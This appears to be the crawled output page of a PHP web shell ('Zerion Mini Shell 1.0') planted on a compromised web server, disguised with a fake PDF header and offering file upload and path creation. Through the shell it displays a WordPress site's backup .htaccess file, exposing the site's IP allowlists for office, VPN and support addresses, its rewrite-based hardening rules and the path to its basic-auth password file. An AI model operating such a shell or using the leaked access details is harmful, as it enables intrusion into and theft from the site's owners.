%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/cwg/
Upload File :
Create Path :
Current File : //var/www/cwg/.htaccess.bk

# BEGIN LSCACHE
# END LSCACHE
# BEGIN NON_LSCACHE
# END NON_LSCACHE

# ------------------ php config start

php_value post_max_size 256M
php_value upload_max_filesize 256M
php_value max_input_vars 3000

php_value memory_limit 512M

php_value display_errors off
php_value log_errors on

# ------------------ php config end

# ------------------ cwg site specific start

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /

# --- block requests with 404.
RewriteRule ^/?autodiscover/autodiscover\.xml$ - [R=404,NC,L]
RewriteRule ^/?rewritemap_.*\.txt$ - [R=404,NC,L]

# --- block requests with 403.
RewriteRule ^/?(xmlrpc|wp-config)\.php$ - [R=403,NC,L]

# --- security metrics - backup file disclosure fix (strip trailing ~)
RewriteRule ^/?(.*)~$ https://%{SERVER_NAME}/$1 [R=301,NC,L]

# --- security metrics - wordpress user enumeration fix (strip query string)
RewriteCond %{QUERY_STRING} "(^author|&author)=.*$"
RewriteRule ^/?(.*)$ https://%{SERVER_NAME}/$1? [R=301,NC,L]

# --- restrict access all (for non-prods)
# konstructive offices
#RewriteCond %{REMOTE_ADDR} !^81\.150\.51\.226$
# konstructive VPN
#RewriteCond %{REMOTE_ADDR} !^40\.69\.218\.178$
# catalyt2 support.
#RewriteCond %{REMOTE_ADDR} !^185\.28\.164\.110$
#RewriteRule ^.*$ - [R=403,NC,L]

# --- restrict access db search and replace
# konstructive offices
RewriteCond %{REMOTE_ADDR} !^81\.150\.51\.226$
# konstructive VPN
RewriteCond %{REMOTE_ADDR} !^40\.69\.218\.178$
# catalyt2 support.
RewriteCond %{REMOTE_ADDR} !^185\.28\.164\.110$
RewriteRule ^/?Search-Replace-DB.*$ - [R=403,NC,L]

# --- restrict access wp
# konstructive offices
#RewriteCond %{REMOTE_ADDR} !^81\.150\.51\.226$
# konstructive VPN
#RewriteCond %{REMOTE_ADDR} !^40\.69\.218\.178$
# catalyt2 support.
#RewriteCond %{REMOTE_ADDR} !^185\.28\.164\.110$
#RewriteRule ^/?(wp-admin/.*|wp-login\.php)$ - [R=403,NC,L]

# --- redirect non-https
RewriteCond %{HTTPS} !=on
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]

</IfModule>

# ------------------ cwg site specific end

# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

#----------------------------------------------------------------cp:ppd
# Section managed by cPanel: Password Protected Directories     -cp:ppd
# - Do not edit this section of the htaccess file!              -cp:ppd
#----------------------------------------------------------------cp:ppd
AuthType Basic
AuthName "basic auth"
AuthUserFile "/home/intcarpenterswor/.htpasswds/public_html/passwd"
Require valid-user
#----------------------------------------------------------------cp:ppd
# End section managed by cPanel: Password Protected Directories -cp:ppd
#----------------------------------------------------------------cp:ppd

Zerion Mini Shell 1.0